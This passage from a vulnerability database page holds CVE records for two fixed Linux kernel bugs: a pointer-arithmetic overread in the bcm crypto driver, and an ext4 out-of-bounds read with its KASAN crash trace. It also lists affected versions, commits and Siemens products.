            "url": "https://git.kernel.org/stable/c/49833a8da6407e7e9b532cc4054fdbcaf78f5fdd"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d0f14ae223c2421b334c1f1a9e48f1e809aee3a0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c0082ee420639a97e40cae66778b02b341b005e5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3b7a40740f04e2f27114dfd6225c5e721dda9d57"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2b3460cbf454c6b03d7429e9ffc4fe09322eb1a9"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-38579",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:14:03.011266Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:55.557Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:44.582Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/crypto/bcm/spu2.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "c256b616067bfd6d274c679c06986b78d2402434",
              "status": "affected",
              "version": "9d12ba86f818aa9cfe9f01b750336aa441f2ffa2",
              "versionType": "git"
            },
            {
              "lessThan": "e719c8991c161977a67197775067ab456b518c7b",
              "status": "affected",
              "version": "9d12ba86f818aa9cfe9f01b750336aa441f2ffa2",
              "versionType": "git"
            },
            {
              "lessThan": "ebed0d666fa709bae9e8cafa8ec6e7ebd1d318c6",
              "status": "affected",
              "version": "9d12ba86f818aa9cfe9f01b750336aa441f2ffa2",
              "versionType": "git"
            },
            {
              "lessThan": "c69a1e4b419c2c466dd8c5602bdebadc353973dd",
              "status": "affected",
              "version": "9d12ba86f818aa9cfe9f01b750336aa441f2ffa2",
              "versionType": "git"
            },
            {
              "lessThan": "49833a8da6407e7e9b532cc4054fdbcaf78f5fdd",
              "status": "affected",
              "version": "9d12ba86f818aa9cfe9f01b750336aa441f2ffa2",
              "versionType": "git"
            },
            {
              "lessThan": "d0f14ae223c2421b334c1f1a9e48f1e809aee3a0",
              "status": "affected",
              "version": "9d12ba86f818aa9cfe9f01b750336aa441f2ffa2",
              "versionType": "git"
            },
            {
              "lessThan": "c0082ee420639a97e40cae66778b02b341b005e5",
              "status": "affected",
              "version": "9d12ba86f818aa9cfe9f01b750336aa441f2ffa2",
              "versionType": "git"
            },
            {
              "lessThan": "3b7a40740f04e2f27114dfd6225c5e721dda9d57",
              "status": "affected",
              "version": "9d12ba86f818aa9cfe9f01b750336aa441f2ffa2",
              "versionType": "git"
            },
            {
              "lessThan": "2b3460cbf454c6b03d7429e9ffc4fe09322eb1a9",
              "status": "affected",
              "version": "9d12ba86f818aa9cfe9f01b750336aa441f2ffa2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/crypto/bcm/spu2.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.11"
            },
            {
              "lessThan": "4.11",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.12",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.3",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: bcm - Fix pointer arithmetic\n\nIn spu2_dump_omd() value of ptr is increased by ciph_key_len\ninstead of hash_iv_len which could lead to going beyond the\nbuffer boundaries.\nFix this bug by changing ciph_key_len to hash_iv_len.\n\nFound by Linux Verification Center (linuxtesting.org) with SVACE."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:19:27.142Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/c256b616067bfd6d274c679c06986b78d2402434"
        },
        {
          "url": "https://git.kernel.org/stable/c/e719c8991c161977a67197775067ab456b518c7b"
        },
        {
          "url": "https://git.kernel.org/stable/c/ebed0d666fa709bae9e8cafa8ec6e7ebd1d318c6"
        },
        {
          "url": "https://git.kernel.org/stable/c/c69a1e4b419c2c466dd8c5602bdebadc353973dd"
        },
        {
          "url": "https://git.kernel.org/stable/c/49833a8da6407e7e9b532cc4054fdbcaf78f5fdd"
        },
        {
          "url": "https://git.kernel.org/stable/c/d0f14ae223c2421b334c1f1a9e48f1e809aee3a0"
        },
        {
          "url": "https://git.kernel.org/stable/c/c0082ee420639a97e40cae66778b02b341b005e5"
        },
        {
          "url": "https://git.kernel.org/stable/c/3b7a40740f04e2f27114dfd6225c5e721dda9d57"
        },
        {
          "url": "https://git.kernel.org/stable/c/2b3460cbf454c6b03d7429e9ffc4fe09322eb1a9"
        }
      ],
      "title": "crypto: bcm - Fix pointer arithmetic",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38579",
    "datePublished": "2024-06-19T13:37:37.154Z",
    "dateReserved": "2024-06-18T19:36:34.926Z",
    "dateUpdated": "2026-05-12T11:54:44.582Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-47701 (GCVE-0-2024-47701)

Vulnerability from cvelistv5 – Published: 2024-10-21 11:53 – Updated: 2026-05-12 11:58

Title

ext4: avoid OOB when system.data xattr changes underneath the filesystem

Summary

In the Linux kernel, the following vulnerability has been resolved: ext4: avoid OOB when system.data xattr changes underneath the filesystem When looking up for an entry in an inlined directory, if e_value_offs is changed underneath the filesystem by some change in the block device, it will lead to an out-of-bounds access that KASAN detects as an UAF. EXT4-fs (loop0): mounted filesystem 00000000-0000-0000-0000-000000000000 r/w without journal. Quota mode: none. loop0: detected capacity change from 2048 to 2047 ================================================================== BUG: KASAN: use-after-free in ext4_search_dir+0xf2/0x1c0 fs/ext4/namei.c:1500 Read of size 1 at addr ffff88803e91130f by task syz-executor269/5103 CPU: 0 UID: 0 PID: 5103 Comm: syz-executor269 Not tainted 6.11.0-rc4-syzkaller #0 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014 Call Trace: <TASK> __dump_stack lib/dump_stack.c:93 [inline] dump_stack_lvl+0x241/0x360 lib/dump_stack.c:119 print_address_description mm/kasan/report.c:377 [inline] print_report+0x169/0x550 mm/kasan/report.c:488 kasan_report+0x143/0x180 mm/kasan/report.c:601 ext4_search_dir+0xf2/0x1c0 fs/ext4/namei.c:1500 ext4_find_inline_entry+0x4be/0x5e0 fs/ext4/inline.c:1697 __ext4_find_entry+0x2b4/0x1b30 fs/ext4/namei.c:1573 ext4_lookup_entry fs/ext4/namei.c:1727 [inline] ext4_lookup+0x15f/0x750 fs/ext4/namei.c:1795 lookup_one_qstr_excl+0x11f/0x260 fs/namei.c:1633 filename_create+0x297/0x540 fs/namei.c:3980 do_symlinkat+0xf9/0x3a0 fs/namei.c:4587 __do_sys_symlinkat fs/namei.c:4610 [inline] __se_sys_symlinkat fs/namei.c:4607 [inline] __x64_sys_symlinkat+0x95/0xb0 fs/namei.c:4607 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f3e73ced469 Code: 28 00 00 00 75 05 48 83 c4 28 c3 e8 21 18 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007fff4d40c258 EFLAGS: 00000246 ORIG_RAX: 000000000000010a RAX: ffffffffffffffda RBX: 0032656c69662f2e RCX: 00007f3e73ced469 RDX: 0000000020000200 RSI: 00000000ffffff9c RDI: 00000000200001c0 RBP: 0000000000000000 R08: 00007fff4d40c290 R09: 00007fff4d40c290 R10: 0023706f6f6c2f76 R11: 0000000000000246 R12: 00007fff4d40c27c R13: 0000000000000003 R14: 431bde82d7b634db R15: 00007fff4d40c2b0 </TASK> Calling ext4_xattr_ibody_find right after reading the inode with ext4_get_inode_loc will lead to a check of the validity of the xattrs, avoiding this problem.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/5b076d37e8d99918e…
https://git.kernel.org/stable/c/8adf0eb4e361a9e06…
https://git.kernel.org/stable/c/7fc22c3b3ffc0e952…
https://git.kernel.org/stable/c/be2e9b111e2790962…
https://git.kernel.org/stable/c/ea32883e4a03ed575…
https://git.kernel.org/stable/c/2a6579ef5f2576a94…
https://git.kernel.org/stable/c/371d0bacecd529f88…
https://git.kernel.org/stable/c/ccb8c18076e2e630f…
https://git.kernel.org/stable/c/c6b72f5d82b1017ba…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: e8e948e7802a2ab05c146d3e72a39b93b5718236 , < 5b076d37e8d99918e9294bd6b35a8bbb436819b0 (git) Affected: e8e948e7802a2ab05c146d3e72a39b93b5718236 , < 8adf0eb4e361a9e060d54f4bd0ac9c5d85277d20 (git) Affected: e8e948e7802a2ab05c146d3e72a39b93b5718236 , < 7fc22c3b3ffc0e952f5e0062dd11aa6ae76affba (git) Affected: e8e948e7802a2ab05c146d3e72a39b93b5718236 , < be2e9b111e2790962cc66a177869b4e9717b4e29 (git) Affected: e8e948e7802a2ab05c146d3e72a39b93b5718236 , < ea32883e4a03ed575a2eb7a66542022312bde477 (git) Affected: e8e948e7802a2ab05c146d3e72a39b93b5718236 , < 2a6579ef5f2576a940125729f7409cc182f1c8df (git) Affected: e8e948e7802a2ab05c146d3e72a39b93b5718236 , < 371d0bacecd529f887ea2547333d9173e7bcdc0a (git) Affected: e8e948e7802a2ab05c146d3e72a39b93b5718236 , < ccb8c18076e2e630fea23fbec583cdad61787fc5 (git) Affected: e8e948e7802a2ab05c146d3e72a39b93b5718236 , < c6b72f5d82b1017bad80f9ebf502832fc321d796 (git)
Linux	Linux	Affected: 3.8 Unaffected: 0 , < 3.8 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.54 , ≤ 6.6.* (semver) Unaffected: 6.10.13 , ≤ 6.10.* (semver) Unaffected: 6.11.2 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47701",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T13:04:32.824362Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:14:13.562Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:21:07.345Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:23.900Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/ext4/inline.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5b076d37e8d99918e9294bd6b35a8bbb436819b0",
              "status": "affected",
              "version": "e8e948e7802a2ab05c146d3e72a39b93b5718236",
              "versionType": "git"
            },
            {
              "lessThan": "8adf0eb4e361a9e060d54f4bd0ac9c5d85277d20",
              "status": "affected",
              "version": "e8e948e7802a2ab05c146d3e72a39b93b5718236",
              "versionType": "git"
            },
            {
              "lessThan": "7fc22c3b3ffc0e952f5e0062dd11aa6ae76affba",
              "status": "affected",
              "version": "e8e948e7802a2ab05c146d3e72a39b93b5718236",
              "versionType": "git"
            },
            {
              "lessThan": "be2e9b111e2790962cc66a177869b4e9717b4e29",
              "status": "affected",
              "version": "e8e948e7802a2ab05c146d3e72a39b93b5718236",
              "versionType": "git"
            },
            {
              "lessThan": "ea32883e4a03ed575a2eb7a66542022312bde477",
              "status": "affected",
              "version": "e8e948e7802a2ab05c146d3e72a39b93b5718236",
              "versionType": "git"
            },
            {
              "lessThan": "2a6579ef5f2576a940125729f7409cc182f1c8df",
              "status": "affected",
              "version": "e8e948e7802a2ab05c146d3e72a39b93b5718236",
              "versionType": "git"
            },
            {
              "lessThan": "371d0bacecd529f887ea2547333d9173e7bcdc0a",
              "status": "affected",
              "version": "e8e948e7802a2ab05c146d3e72a39b93b5718236",
              "versionType": "git"
            },
            {
              "lessThan": "ccb8c18076e2e630fea23fbec583cdad61787fc5",
              "status": "affected",
              "version": "e8e948e7802a2ab05c146d3e72a39b93b5718236",
              "versionType": "git"
            },
            {
              "lessThan": "c6b72f5d82b1017bad80f9ebf502832fc321d796",
              "status": "affected",
              "version": "e8e948e7802a2ab05c146d3e72a39b93b5718236",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/ext4/inline.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.8"
            },
            {
              "lessThan": "3.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: avoid OOB when system.data xattr changes underneath the filesystem\n\nWhen looking up for an entry in an inlined directory, if e_value_offs is\nchanged underneath the filesystem by some change in the block device, it\nwill lead to an out-of-bounds access that KASAN detects as an UAF.\n\nEXT4-fs (loop0): mounted filesystem 00000000-0000-0000-0000-000000000000 r/w without journal. Quota mode: none.\nloop0: detected capacity change from 2048 to 2047\n==================================================================\nBUG: KASAN: use-after-free in ext4_search_dir+0xf2/0x1c0 fs/ext4/namei.c:1500\nRead of size 1 at addr ffff88803e91130f by task syz-executor269/5103\n\nCPU: 0 UID: 0 PID: 5103 Comm: syz-executor269 Not tainted 6.11.0-rc4-syzkaller #0\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014\nCall Trace:\n \u003cTASK\u003e\n __dump_stack lib/dump_stack.c:93 [inline]\n dump_stack_lvl+0x241/0x360 lib/dump_stack.c:119\n print_address_description mm/kasan/report.c:377 [inline]\n print_report+0x169/0x550 mm/kasan/report.c:488\n kasan_report+0x143/0x180 mm/kasan/report.c:601\n ext4_search_dir+0xf2/0x1c0 fs/ext4/namei.c:1500\n ext4_find_inline_entry+0x4be/0x5e0 fs/ext4/inline.c:1697\n __ext4_find_entry+0x2b4/0x1b30 fs/ext4/namei.c:1573\n ext4_lookup_entry fs/ext4/namei.c:1727 [inline]\n ext4_lookup+0x15f/0x750 fs/ext4/namei.c:1795\n lookup_one_qstr_excl+0x11f/0x260 fs/namei.c:1633\n filename_create+0x297/0x540 fs/namei.c:3980\n do_symlinkat+0xf9/0x3a0 fs/namei.c:4587\n __do_sys_symlinkat fs/namei.c:4610 [inline]\n __se_sys_symlinkat fs/namei.c:4607 [inline]\n __x64_sys_symlinkat+0x95/0xb0 fs/namei.c:4607\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f3e73ced469\nCode: 28 00 00 00 75 05 48 83 c4 28 c3 e8 21 18 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007fff4d40c258 EFLAGS: 00000246 ORIG_RAX: 000000000000010a\nRAX: ffffffffffffffda RBX: 0032656c69662f2e RCX: 00007f3e73ced469\nRDX: 0000000020000200 RSI: 00000000ffffff9c RDI: 00000000200001c0\nRBP: 0000000000000000 R08: 00007fff4d40c290 R09: 00007fff4d40c290\nR10: 0023706f6f6c2f76 R11: 0000000000000246 R12: 00007fff4d40c27c\nR13: 0000000000000003 R14: 431bde82d7b634db R15: 00007fff4d40c2b0\n \u003c/TASK\u003e\n\nCalling ext4_xattr_ibody_find right after reading the inode with\next4_get_inode_loc will lead to a check of the validity of the xattrs,\navoiding this problem."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:39:07.037Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/5b076d37e8d99918e9294bd6b35a8bbb436819b0"
        },
        {
          "url": "https://git.kernel.org/stable/c/8adf0eb4e361a9e060d54f4bd0ac9c5d85277d20"
        },
        {
          "url": "https://git.kernel.org/stable/c/7fc22c3b3ffc0e952f5e0062dd11aa6ae76affba"
        },
        {
          "url": "https://git.kernel.org/stable/c/be2e9b111e2790962cc66a177869b4e9717b4e29"
        },
        {
          "url": "https://git.kernel.org/stable/c/ea32883e4a03ed575a2eb7a66542022312bde477"
        },
        {
          "url": "https://git.kernel.org/stable/c/2a6579ef5f2576a940125729f7409cc182f1c8df"
        },
        {
          "url": "https://git.kernel.org/stable/c/371d0bacecd529f887ea2547333d9173e7bcdc0a"
        },
        {
          "url": "https://git.kernel.org/stable/c/ccb8c18076e2e630fea23fbec583cdad61787fc5"
        },
        {
          "url": "https://git.kernel.org/stable/c/c6b72f5d82b1017bad80f9ebf502832fc321d796"
        }
      ],
      "title": "ext4: avoid OOB when system.data xattr changes underneath the filesystem",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
